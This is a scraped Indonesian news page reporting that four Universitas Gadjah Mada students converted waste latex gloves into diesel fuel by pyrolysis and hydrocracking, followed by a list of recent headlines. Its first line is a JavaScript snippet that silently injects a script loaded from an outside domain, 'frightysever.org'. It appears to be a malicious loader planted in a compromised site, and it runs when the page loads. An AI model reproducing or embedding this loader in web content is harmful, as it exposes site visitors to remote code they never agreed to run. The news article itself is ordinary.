(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kampus

Mahasiswa UGM Ubah Limbah Sarung Tangan Lateks Jadi Bahan Bakar Diesel


KANALKALIMANTAN.COM – Empat mahasiswa Fakultas Matematika dan Ilmu Pengetahuan Alam (FMIPA) Universitas Gadjah Mada (UGM) berhasil mengolah limbah sarung tangan lateks menjadi bahan bakar diesel.

Empat mahasiswa itu yakni Mandrea Nora, Aditya Yuan Pramudyansyah, Rangga Indra Riwansyah, dan Nanda Tasqia Amaranti yang tergabung dalam Tim Program Kreativitas Mahasiswa- Riset Eksakta (PKM-RE) FMIPA UGM.

Ketua tim Mandrea Nora melalui keterangan tertulis di Yogyakarta, Selasa (24/8/2021) mengatakan, inovasi itu berawal saat beberapa anggota tim diskusi mengenai permasalahan limbah medis akibat pandemi COVID-19, salah satunya sarung tangan lateks yang memiliki komposisi kimia utama yaitu Polimer Poliisoprena.

“Poliisoprena ini apabila dipirolisi nantinya akan menghasilkan senyawa hidrokarbon berupa Limonena. Limonena merupakan senyawa hidrokarbon dengan fraksi C10 yang memiliki potensi tinggi untuk diterapkan sebagai bahan bakar diesel,” ujar Mandrea.

 

 

Baca juga: VIRAL. Rombongan Paspampres Disalip Ambulans di Salah Satu Jalan di Samarinda!

Sarung tangan lateks merupakan salah satu alat pelindung diri (APD) yang biasa digunakan saat bekerja di laboratorium.

Selama pandemi COVID-19, sarung tangan lateks tidak hanya digunakan oleh orang yang bekerja di laboratorium, melainkan juga digunakan para tenaga medis beserta masyarakat umum.

Namun demikian, menurut dia, tanpa disadari keberadaan limbah sarung tangan lateks di saat pandemi mendatangkan dampak yang sangat besar bagi seluruh aspek kehidupan, salah satunya aspek lingkungan.

Ia menjelaskan proses pengolahan limbah sarung tangan lateks menjadi bahan bakar dilakukan dengan metode pirolisis.

Pirolisis sarung tangan lateks dilakukan pada suhu 350 derajat Celcius selama tiga jam sehingga didapatkan minyak hasil pirolisis.

“Selanjutnya minyak hasil pirolisis dilakukan pemurnian melalui proses ‘hydrocracking’ sehingga didapatkan bahan bakar diesel,” kata dia.

Untuk memastikan apakah bahan bakar yang dihasilkan tergolong ke dalam fraksi bahan bakar diesel, tim yang dibimbing Dosen Kimia FMIPA UGM Mokhammad Fajar Pradipta kemudian melakukan identifikasi senyawa dengan metode kromatografi gas-spektroskopi gas serta melakukan uji fisikokimia terhadap bahan bakar yang dihasilkan.

“Hasil pengujian kemudian dibandingkan dengan hasil uji pada bahan bakar diesel yang ada di pasaran,” kata Mandrea. (Suara.com)

Editor: suara


Risa

Recent Posts

Ini Penyebab Utama Crossing Drainase di Karang Anyar 1 Sering Berlubang

KANALKALIMANTAN.COM, BANJARBARU - Penyebab jalan berlubang yang kerap muncul di Jalan Karang Anyar 1 Kelurahan… Read More

1 jam ago

Kicau Mania Ramaikan Kapolresta Banjarmasin Cup 2024

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Resor (Polres) Kota Banjarmasin menggelar lomba Burung Berkicau, Minggu (19/5/2024) siang,… Read More

15 jam ago

Pastikan Listrik Tanpa Kedip KTT WWF 2024 Bali

KANALKALIMANTAN.COM, DENPASAR - PT PLN (Persero) siap menghadirkan listrik yang andal untuk mendukung penyelenggaraan Konferensi… Read More

15 jam ago

Santri TK Al Quran di Kabupaten Banjar Ikuti Munaqasah

KANALKALIMANTAN.COM, MARTAPURA -  Santri TK Al Quran se-Kabupaten Banjar mengikuti Munaqasah yang digelar Badan Komunikasi… Read More

16 jam ago

Jelang Pilwali Banjarbaru, Nurkhalis: Masih Lihat Peta Peluang Koalisi

KANALKALIMANTAN.COM, BANJARBARU - Peta koalisi partai politik jelang Pilkada 2024 di Kota Banjarbaru Kalimantan Selatan… Read More

17 jam ago

Daftar Bareng Aditya-Yuti, Koalisi “AYUHA” PPP-Gerindra di Pilwali Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Teka-teki maju atau tidaknya Aditya Mufti Ariffin mulai terjawab, bahkan siapa calon… Read More

19 jam ago

This website uses cookies.